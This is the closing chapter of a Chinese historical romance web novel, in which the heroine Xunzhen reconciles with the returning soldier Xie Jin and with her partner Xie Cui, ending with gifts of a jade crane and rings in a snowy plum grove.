“……不收了。” 谢漼:“真儿说什么?” 寻真:“不收了,不收了!” 翌日,寻真下地,腿都是软的。 她把范岂送的那块玉收了起来,放到角落里。 岁暮,东都城大雪纷飞,寒风凛冽。 在阖家欢聚之时,朔方军归京了。 铿锵的马蹄声由远及近,进城门,绣着“周”字的大旗猎猎作响,将士们的甲胄映着寒光,整齐列队向皇城行进。 金銮殿上,圣上升座论功行赏。 庆功宴散场后,士卒们揣着赏银欢天喜地归家,与亲人团聚。 谢府内。 大夫人钱绮自摔断腿后,落下跛足的病根,走起路来一瘸一拐,头发白了大半,人瞧着是一年比一年没精气神儿了。 这日,丫鬟激动地跑进来,道:“夫人!朔方军归了!” 钱绮的眼中一瞬焕发了神采,猛地起身,抓住丫鬟的肩膀,问:“当真?” 丫鬟点点头:“是二爷那边传来的消息!说是正在参加庆功宴,待庆功宴结束,十五公子便会回来了。” 钱绮坐在里屋等,等着等着,实在坐不住了。 雪下了一日,地上积雪已很厚了,踩上去咯吱咯吱。钱绮拄着拐,缓缓走向大门。 整整十年了…… 钱绮望了眼皇城的方向,炎哥儿终于回来了。 钱绮在谢府大门等着,等得双手通红,浑身直打哆嗦,却始终不见人影。 她派家仆打听,家仆很快折返禀报:“大夫人,庆功宴半个时辰前就散了,十五公子被封了上骑都尉呢!” 钱绮急切追问:“他人呢?” 家仆道:“小的没打听到,只听人说十五公子早早离席,都以为他归家了……” 钱绮的脸色瞬间惨白,由丫鬟搀扶着往回走。 膝上旧伤在风雪中隐隐作痛,心也跟着凉透。 即便回来了,也不愿归家了吗? 炎哥儿不要她这个娘了吗? 钱绮进屋后,丫鬟们为她擦去脸上、头上的雪水,递上汤婆子。徐嬷嬷支开众人,见她神色灰败,劝慰道:“夫人莫要灰心,我猜,炎哥儿许是在席间得知那人还活着,才急着去寻人……”说着,她指了指一个方向,“若知晓那人安好,炎哥儿心里的结也能解开了。” 钱绮神色好转了些,叹了口气:“但愿如此。” 与此同时,书房内。 永望压低声音禀报:“爷,他还没走,一直跪在外面。” 谢漼颔首。 永望见主子没别的吩咐,便出去了,对跪着那人劝了几句,见人不听,也就算了,关上大门。 入夜,寻真窝在谢漼怀里,将睡未睡,忽听谢漼冷不丁开口道:“谢进在外面。” 寻真:“……谢进?” 谢漼:“三个时辰前便来了,说要见你。” 寻真从谢漼怀里起来,震惊道:“三个时辰前就来了?现在还在外面?” 谢漼嗯了一声。 外面下着大雪,寒风刺骨。 寻真看着谢漼,思考片刻,道:“那我去外面见他一面吧。” 谢漼取来斗篷替她披上,系好,道:“快去快回。” 寻真点了点头。 寻真打开了大门,便见风雪中跪了一人。 那人浑身覆满积雪,几乎变成了雪人。 寻真唤了一声:“谢进。” 年轻的将士背脊猛地颤了颤,抬手,抹了一把脸上的雪,整张脸湿漉漉的。 寻真看着谢进。 听谢漼说,谢进去了边疆,十年未回来了。 十年未见,曾经清秀的少年早已脱胎换骨。 他皮肤黑了许多,也粗糙了,右眉骨处有一道狰狞的疤痕斜斜划过,差一点便要伤到眼睛了。 这十年的风霜印在他脸上。 那双眼睛多了几许坚毅和锐利。 寻真:“谢进,你起来吧。” 寻真走了过去,谢进仰头看着她,目不转睛,渐渐地,眸子里闪烁出晶莹。 寻真去扶。 谢进摇了摇头,伏下身,朝寻真磕了一个头。 头抵在地上,许久未起身。 他肩膀不住耸动,整个身体都在颤。 等了一会,寻真见谢进还不起来,便唤道:“阿进。” 谢进的身体僵住了,数秒后,他直起身,整张脸都是湿的。 一眨不眨地盯着寻真,仔仔细细地瞧。 谢进不肯起来,就这样一直跪在寻真面前。 寻真俯视谢进,清楚地看见他眼眶里滚落一颗又一颗的泪珠。 “姐姐,还活着……” 他哭得像个孩子。 “阿进,我不怪你。”寻真弯下身,拍了拍谢进的肩,“天这么冷,别在这儿了,你回家吧。” 谢进嗯了一声,可眼泪还是不住地往下掉。 寻真心想,这么跪下去也不是个事。 上前,搀谢进。 谢进缓缓起身,身子微微摇晃着。膝部以下都湿了,往下滴着水。 寻真将他扶起后,便松开了手。 “回去吧。” 谢进解下腰间的锦袋,递给寻真,眼睛还含着泪。 “姐姐。这是圣上赏我的,给你。” 寻真:“我怎能拿这个,你快收回去!” 谢进收回手,也意识到自己此举不妥,眼神看上去有些无措,做错了事般,垂眼看着地,低低地道:“好,那我走了。” 寻真看着谢进的背影。 谢漼一瘸一拐地走着,步伐迟缓而沉重。漫天飞雪中,谢进的背影看起来格外落寞。 寻真唤了一声:“阿进!” 谢进背影霎时顿住,转身,立刻跑过来了。 看了眼寻真,又垂下头。 寻真:“你走过来的?” 谢进:“骑马来的。” 寻真:“你的马呢?” 谢进:“我让人骑回去了。” 寻真点头:“你等我一下,先别走。” 谢进:“好。” 寻真跑进屋,在谢漼的注视下,拿了一个手炉和一把伞出去。 谢进立在原地,一动不动,等看到寻真出来, 双手握在一起,不自觉地搓了搓。 寻真将手炉和伞递给他:“拿着,快回去吧,不用还我了。” 谢进拿着手炉,暖意攀着腕骨往上游走,直抵心口。 “姐姐……” 寻真:“还有什么事?” 谢进垂眼看着地:“我如今是上骑都尉了……” 寻真:“……嗯,知道了。” 谢进杵了一会儿,还是道:“那我走了。” 寻真:“好。” 寻真回屋后,谢漼还维持着她刚才进来拿手炉时的姿势,坐在椅上,静静望着她。寻真小跑过去,站谢漼面前,捏住他脸颊两侧的肉,扯了扯,道:“为何这么看着我?”【魔蝎小说 mo xie xs .c om】 第 158 章【正文完】 第158章 第158章正文完 谢漼没有说话。 寻真松开,见谢漼脸颊的肉被她扯红了,便又松开,用手心揉了揉。 谢漼捏住她的手:“可与他说清楚了?” 寻真:说清楚什么? 见寻真这般神情,谢漼的唇角向下压了压。 寻真想了想,还是对谢漼说:“说起来,这事我也有错。” “我错在还没有自保能力的时候,与谢进相交,开启这段不被世俗认可的友谊。” 错在,她没有认清这个世界的规则,不该把这里的人与从前的世界混为一谈。 谢漼搂住她:“你没有错。” 寻真顺势坐到他怀里,捧住他的脸,亲了亲唇:“那你还在气什么呢?” 谢漼凝视她片刻,道:“你说呢?” 寻真歪头:“我说什么?” 谢漼:“推己及人,若日日有不同女子前来寻我,真儿作何感想?” “可我与他们不过说了几句话而已!若连这个你都要计较……”寻真嘟了下唇,用力戳戳谢漼的胸膛,“我才更该生气吧!” “有些事,我都不介意的,你要求这么高……” “你再这样,我真的生气了!” 谢漼一懵,未曾想她心中竟还有介怀之事,忙问:“你还介意何事?” 若不是今日意外引出这番话,他竟不知两人之间还横亘着隔阂。 谢漼的脑子快速地转着,想不到。 寻真从谢漼怀中跳下来,抱臂瞪他。 “真儿……”谢漼心紧了紧,起身将她重新揽入怀中。 见她并未躲避,他悬着的心才稍稍放下,轻抚了两下她的肩,柔声问:“真儿有心事,为何不告诉我?” 寻真哼了一声:“说了也没用,反正也改变不了事实。” 谢漼:“真儿。” 寻真:“没什么好说的,就这样吧,我去忙了。” 寻真挣开他的手,出去了。 之后,谢漼多次追问,寻真都含糊带过去了,摆明了不想说。 被问急了,寻真便气道:“我说了不介意!说出来又有什么意义?你又无法改变。” 谢漼苦思两日,终有了一个猜想。 夜里,欢愉过后,谢漼拨开寻真汗湿的鬓发,吻了吻,问道:“真儿,可是介意吕氏?” 寻真的身体骤然一绷。 只觉得这一刻的氛围全被这句话打破。 既已被问起,她也不再遮掩,直接道:“嗯。” 提到这个,声音不自觉变得僵硬。 “你也该设身处地为我想想,若我与旁人成过婚,你作何感想?” 她果然是在意这个。 这事,他的确无可挽回。 见她低垂着眼帘,谢漼心中一痛,搂得更紧了些,低声唤她:“真儿……” 好端端的,提前妻干嘛? 她都说,不在乎了。 还一直问一直问。 没见过他这么扫兴的人。 寻真一把推开谢漼,起身穿衣:“我今天还是去隔壁睡吧。” “真儿!” 谢漼惊得心脏猛地缩了一下,忙将她拽回怀中,手臂紧紧箍住她的腰。心隐隐刺痛起来,谢漼蹙起了眉。 寻真抿了抿唇:“你放开我,我现在没什么心情跟你在一张床上睡了。” 谢漼抱得更紧了。 寻真:“你不说不就好了,早都过去了,是你自己非要提,让我不开心的。” 谢漼换位思考,若她曾与他人成婚。 怕是整颗心都要碎了。 这一事上,确是他亏欠了真儿。 谢漼:“好,都过去了,真儿,我日后再不提。” “真儿别走……你若走了,叫我如何捱过今夜?” 寻真见谢漼皱着眉,唇色发白,心软了软,回抱住他,道:“好,我不走。这次就算了。” 谢漼应了一声,仍是紧紧箍着她。 寻真:“我喘不过气了。” 谢漼松了些力。整个身体还是紧绷的。 寻真贴过去,额头抵在他胸口:“我都说了,我不介意。只要你以后再不与旁人牵扯,一心待我,我对你的心意,也永远不变。” 谢漼嗯了一声,手抚她发顶。 寻真困劲儿上来,眼睛慢慢闭上。 这么折腾了一下,谢漼的心还悬在半空,七上八下没个着落。 想了想,唤了她一声:“真儿……” 寻真含糊应了一声。 谢漼:“我与吕氏虽无夫妻之实,空有名分,但在世人眼里,终是正当姻缘。” “而你我虽心意相通、誓约白首,可未行三书六礼,到底是私定终身。” 她总抱着“合则聚,不合则散”的念头,与寻常女子大不相同,她认为没有婚姻反倒更自在。谢漼却不可能不在意。若任由现状持续下去,日子长了,世人不知会如何闲话她。 谢漼便趁此机会,提出心中早存着的想法,郑重道:“真儿,我打算过些时日,请圣上赐婚,婚仪繁简,皆随你心意。” 谢漼说着说着,寻真坐了起来,盯着他。 谢漼的心又悬了起来:“真儿,你觉得如何?” 谢漼后面吧啦吧啦说了一堆,寻真完全没听进去,回想了下,自己的确没听错,谢漼应该不会在这种事上骗她。 谢漼的额头渗出薄汗,喉头发紧:“……真儿?” 寻真试探问道:“你刚刚说,你跟你前妻没有夫妻之实?” 谢漼微微颔首。 寻真怔了一会儿,又问:“这么多年,都没有?” 谢漼又点了点头。 寻真:“为什么?” 涉及女子清誉,谢漼不便详述,只道:“阴差阳错便这样了。” 寻真哦了一声,贴近谢漼。 两人离得极近,鼻尖几乎蹭在一起。 寻真注视着谢漼,缓缓眨了眨眼,用气声问道:“那你亲过她吗?” 谢漼声音哑涩:“没有。” 寻真:“抱过吗?” 谢漼的喉结上下滑动了一下:“也没有。” 寻真伸出手,轻轻点了下他的喉结,继续问:“那别人呢,也没有——” 下一瞬,寻真的声音被吞没在谢漼的唇齿间。 寻真环着他的脖子,同他接吻。 两道凌乱的呼吸声缠绕。 许久,微微分开,寻真的唇红润湿濡,眼睛很亮。 谢漼声音沙哑:“……自始至终都只有真儿你一人。” 寻真哦了一声,眼尾悄悄扬起来。 到如今,没什么话不能与真儿说的了。 谢漼诚实道:“从前的确不曾有为你守着的念头,可自那日应下,连想也没想过了。” 寻真按住他,压倒在床上:“这么说,你还想过要找别人?” 谢漼暗暗咬了咬牙,懊恼失言,为何要多提这么一句。 寻真弯了弯眼睛,道:“没关系呀,我也想过要找别的年轻的小伙子。” “想是一回事,做又是另一回事了。我可以理解的。” 谢漼眸色一深,问道:“你何时想过?” 寻真摇摇头,吻了吻他,“从今以后再也不想了。我们扯平了啊。” 谢漼面色紧绷:“……真儿。” 太好了。 寻真感觉自己圆满了,抱住他,使劲蹭了蹭他的胸膛,“睡吧睡吧。” 谢漼轻应一声,心缓缓落定。 谢漼生辰那日,带寻真和甄恒去了谢氏祖坟,祖坟边缘处,立着一座墓碑——谢佑妾陈氏之墓。下方小字刻着:育子谢漼。 三人上香 ,拜了拜, 下山时,飘起了小雪。 寻真和谢漼还有行程,便先让人送甄恒回去。 半山腰,一片梅林开得正艳。 风过处,细雪簌簌,红白相映,似是谁泼了幅画在山里。 寻真牵着谢漼的手,到梅林面前,赏景。 寻真转头问:“怎么样?” 谢漼:“甚美。真儿如何寻得此处?” 寻真:“我问潘竞的。他向来知晓这些好去处,果然没问错人,是个好地方。” 谢漼:“你何时问他的?” 寻真:“一个月前,我写信问他的。” 寻真从衣襟取出一个小布袋,掏出一块玉佩。 寻真托在掌心,举起来给谢漼看:“漼漼,这是送你的生辰礼。” 谢漼目光凝在她掌心。 寻真:“我打磨了许久呢,但还是很粗糙,你……看得出来是什么吗?” 谢漼垂眸细观,凝神思索,寻真有些紧张地盯着谢漼。 须臾,谢漼掀眸:“可是鹤?” 寻真笑:“对了!是仙鹤!” 谢漼也笑。 寻真:“我帮你戴上?” 谢漼:“嗯。” 玉上系着一个红色的同心结。 寻真弯下身,为他戴好,往后退了几步,上下瞧了瞧,道:“虽然做得粗糙,但整体来看,还是挺好看的……嗯,主要还是因为漼漼长得好。” 谢漼伸手,正要拥她入怀。 却听她又道:“还有呢!” 谢漼:“还有什么?” 寻真眼神示意:“手。” 谢漼摊开手,寻真打开锦袋,倒出两枚金戒指,一大一小,各嵌着一枚红宝石。 趁谢漼熟睡,寻真用手指大概圈了圈他无名指的大小。 不知道合不合适。 寻真捏着戒指,缓缓套入谢漼的无名指。 寻真:“刚好呢!漼漼,你也给我带上!” 谢漼嗯了一声,也学她,将戒指套进她的无名指。 寻真看着谢漼。 虽然他不知道这个举动是什么意思,神色却十分专注,眉间清肃,眸光湛然,透出几分虔诚。 戒指戴上了,寻真将手伸到他面前,微微晃了晃,“怎么样?好看吗?” 谢漼捏住她的四指,俯身,在她手背落下一吻。 寻真一怔。 谢漼牵住,而后十指相扣。 谢漼:“真儿。” 寻真:“嗯。” 谢漼:“那日你要与我说的秘密,是什么?” 寻真:“……这个,现在没必要说了。” 穿越这事,太过离奇,自然不会跟谢漼说。寻真本来想说的是,她和柳氏压根不是一个人,她是借尸还魂到柳氏身上的。 谢漼:“是什么?可否说与我听?” 寻真尴尬挠挠头:“你真要听?” 谢漼颔首。 寻真:“我本来想说,跟你生孩子的那个人不是我,现在我恢复记忆了,自然不必说了……” 谢漼眉眼含笑:“原来如此。” “真儿不知,你离开之后,无数夜里,我都在想,真儿要告诉我的那个秘密到底是什么。” “原以为,此生都不会知道了。” 寻真握紧了他的手:“我们再也不会分开了。” 谢漼轻轻应:“嗯。” 两人牵着手,走入梅林。 许久,雪落满发间,似白了头。【魔蝎小说 mo xie xs .c om】